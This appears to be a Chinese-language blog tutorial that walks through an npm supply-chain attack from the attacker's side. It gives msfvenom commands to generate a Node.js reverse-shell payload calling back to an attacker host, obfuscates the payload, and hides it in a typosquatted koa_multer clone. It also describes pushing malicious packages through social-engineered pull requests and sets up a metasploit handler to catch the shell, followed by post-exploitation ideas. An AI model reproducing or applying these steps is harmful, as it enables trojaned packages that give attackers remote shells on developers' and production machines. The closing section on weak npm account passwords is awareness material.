TL,DR:
這篇文章講述了從一個黑客的角度,以滲透前端專案為目標,從生成 payload,混淆,隱藏 payload,釋出 npm,社會工程學提 PR,執行指令碼,反向連線到攻擊主機,最終主機拿到伺服器 shell 的故事。
正片:
前端工程師的口頭禪是啥?npm install!
這個命令從 npm 倉庫中下載一堆從專案 package.json 中宣告的依賴,下載完依賴後,再下載依賴中 package.json 宣告的依賴,下載完依賴的依賴後,再下載依賴中 package.json 宣告的依賴中的 package.json 宣告的依賴,下載完依賴後…………
然後下了一堆你都不知道從哪裡來的 npm 包。
前端工程師的另一個口頭禪是什麼?npm run dev!
嗯!介面顯示 compile successful!很完美的一次編譯!你覺得是時候展示真正的技術了!
此時,在網線的另一端,一個黑客微微一笑:又有一個肉雞上線了。
這中間都發生了什麼?
生成 Payload
經驗豐富的金魚佬都知道,要釣魚,是肯定要先做魚鉤的。黑客也要釣魚,魚鉤是啥?在黑客的世界裡,有一個魚鉤店,叫做 msfvenom,專治各種款(架)式(構),各種型(語)號(言)的魚(機器)。msfvenom 是 metasploit 的一部分,整合在了 Kali 系統裡面。在 Kali 的官網,有現成的虛擬機器映象,下載了就能用。
在 Kali 的 Terminal 裡輸入:
msfvenom -l | grep node
可以列出所有支援 Node.js 的 payload。這相當於到店裡問:老闆!我要買魚鉤!要能釣 Node.js 的那種!老闆:好嘞!要哪款?
在這裡,我們選擇 nodejs/shell_reverse_tcp,其實業界最常用的 payload 是 meterpreter,但是這款魚鉤還沒上市:
如何生成我們的 payload 呢,輸入:
msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.199.165 LPORT=5432 -o index.js
這裡說一下配置的引數:
- -p nodejs/shell_reverse_tcp 指的是我們要用 nodejs/shell_reverse_tcp 這個 payload;
- LHOST=192.168.199.165 指的是攻擊主機的 IP 地址,由於這次攻擊是內網演示,所以用了內網 IP 。公網攻擊的話,就要配個公網 IP;
- LPORT=5432 攻擊主機這邊的監聽埠,payload 執行後,被攻擊方會嘗試連線攻擊主機的這個埠;
- -o index.js 意思是輸出到 index.js 這個檔案中。
敲完命令之後,我們可以在當前目錄拿到一個名為 index.js 的 payload,也就是我們剛買到的魚鉤。payload 很小很小,只有 803 位元組。用
cat index.js
命令,可以看到 payload 長什麼樣。
這時候警覺的前端就會跳出來懟我:胸底,你這程式碼裡又呼叫 cmd 又呼叫 /bin/sh,還把攻擊 IP 和埠都暴露出來了,傻子才會執行你的程式碼哦?
別急嘛,好戲才剛剛開始。
混淆
傳統的防毒軟體,是通過檢測檔案特定字元來確定病毒特徵的,而通過修改特徵碼繞過防毒軟體的檢測,我們稱之為免殺。
而 JavaScript 的變化,簡直比海賊王裡的路飛還要伸縮自如。
舉個例子,一行簡單的程式碼:
alert(1)
用 jsfuck 能把它變得連老媽都認不出來:
1 2 |
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])() |
當然我們不用 jsfuck,因為混淆過後的程式碼太大了。
前端喜歡用 UglifyJS 來壓縮程式碼,但在這場景下,也許不是最優解。我們用 JavaScript Obfuscator Tool。
複製 payload,開啟 https://obfuscator.io/,貼上,根據你的口味選擇需要新增的混淆方法,點選 Obfuscate,一道菜就完成了。
現在已經沒有人類能讀懂這段程式碼了,混淆任務完成。
隱藏 payload
npm 是共產主義的大糧倉,任何人都可以貢獻自己的程式碼到 npm 上去。但是如何讓別人下載我們的程式碼呢?這是一門高深的學問。
常規的思路是,做一個和正常 npm 包名字很像的包名,譬如 koa-multer,可以做一個 koa_multer,然後總有一些人會打錯字,下載到包含 payload 的包。這是一個概率問題,下載 koa-multer 的總量越大,下載 koa_multer 的量也越大。
以 koa-multer 為例,我們先把程式碼 clone 下載下來。
把我們生成的 payload 複製到專案路徑下,並在 index.js 中引入這個檔案。
把 package.json 和 README.md 裡所有的 koa-multer 改成 koa_multer,並在 package.json 的 files 宣告 payload 的檔名,我們就做好了一個帶有 payload 的 npm 包。
拿到這個包,就可以釋出到 npm 源了:
npm publish
為了演示,我在本地搭了一個 npm 伺服器。
可以看到這個包和正確的 koa-multer 幾乎一樣。如果不深究原始碼,前端不會發現自己下載了一個錯誤的包。
接下來要做的事情是,等。就像釣魚一樣,需要耐心。
這時候警覺的前端工程師會跳出來懟我:你這包一看就知道是坑人的,我肯定不會蠢到安裝這種包!
別急,還有其他方法。
另一個思路是,做一個通用的 npm 包,譬如能 log 出五彩斑斕顏色的包,然後去給其他的開源專案提 PR:
我幫你修復了問題 XXX,還加上了彩色 logger 的功能!
我們是在給開源社群做貢獻吶!
當然,警覺的人會拒絕這個 PR。但這也沒關係,提的 PR 多了,總會有人上鉤的。
一個 npm 包被偽造不是問題,一個惡意的 PR 被不知名的專案 Approve 也不是問題。就像一個請求不能叫攻擊,但是幾百萬的請求打過來的時候,你就知道 DDOS 有多可怕。
黑客完全可以把下載 npm 包,偽造程式碼併發布這段邏輯自動化。之後,就不僅僅是 koa_multer 的問題了,你需要提防 koa-multe,multer-koa,koa-multer-middleware 等等各種奇奇怪怪的 npm 包,還要區分”_”和”-“的區別,當然,也不僅僅是 koa-multer 這個包,其他所有的包都可以如法炮製。
就算再警覺,再小心,總有你注意不到的地方。就像刀劍不入的阿喀琉斯,也會有腳後跟中箭的一天。
另外,大多數 npm 包都是層級依賴關係,你能確保你的 package.json 中不可能宣告有木馬的包,但是你能確保你所依賴的包,這些包的作者,也和你一樣警覺,不會大意?
黑客準備
黑客這邊,需要準備好 handler。
在 Kali 系統中,輸入:
msfconsole
進入 metasploit 的控制檯。然後輸入:
use exploit/multi/handler
使用 handler 模組。並在 handler 模組中設定 payload ,攻擊主機 IP,攻擊主機埠,並啟動監聽:
set payload nodejs/shell_reverse_tcp set LHOST 192.168.199.165 set LPORT 5432 run
如圖,反向TCP監聽已經成功啟動:
肉雞上線
這時候,小白鼠跑了 koa_multer 裡的 demo 程式碼!
黑客這邊,馬上能獲得這個 shell 的會話:
在這裡,黑客獲得了啟動該 Node.js 程式的使用者許可權,可以執行任何該使用者允許執行的命令。舉個例子,黑客想看被攻擊主機的作業系統,檢視 CPU 型號………
sw_vers # 檢視作業系統
sysctl -n machdep.cpu.brand_string # 檢視作業系統
如果這個程式部署到了生產環境伺服器,那麼黑客將能獲得這個伺服器的shell許可權。
下一步幹嘛?內網滲透,脫褲,種馬,導流……
拿到 shell 真的可以為所欲為,只有你想不到,沒有黑客做不到。
Done?
還沒完呢,精彩還在後頭。
npm 賬號的弱口令問題
在 2017 年 7 月份,有人對 npm 的賬號做了一次弱口令檢測,檢測結果是:
有弱口令問題賬號所釋出的 npm 包,佔據了整站的 14%!
由於 npm 包以相互依賴的形式存在,由這 14% 包引發的安全問題,影響到其他的包,佔據了整站的 54%!
那就意味著,你每 npm install 兩次,就會有一次安裝到不安全的包。這不是危言聳聽。大名鼎鼎 koa.js,釋出的密碼是 “password”;react、gulp 等明星專案也深陷弱口令深淵。下面列舉一些其他受弱口令問題影響的 npm 包,相信總有你熟悉的名字:
- debug
- qs
- yargs
- request
- chalk
- form-data
- cheerio
- gulp
- browserify
- bower
- mongoose
- electron
- normalize.css
- mysql
這麼看來,npm 到現在都沒發生過大規模的安全性問題,純屬是運氣好……
所以,讓我們祝願 npm 永遠幸運✨吧。
Note:本文旨在交流探討,作者沒有滲透過任何系統。如根據本文思想進行滲透,讀者須自行承擔風險和責任。作者不承擔任何責任。
參考文件:
2. https://github.com/ChALkeR/notes/blob/master/Gathering-weak-npm-credentials.md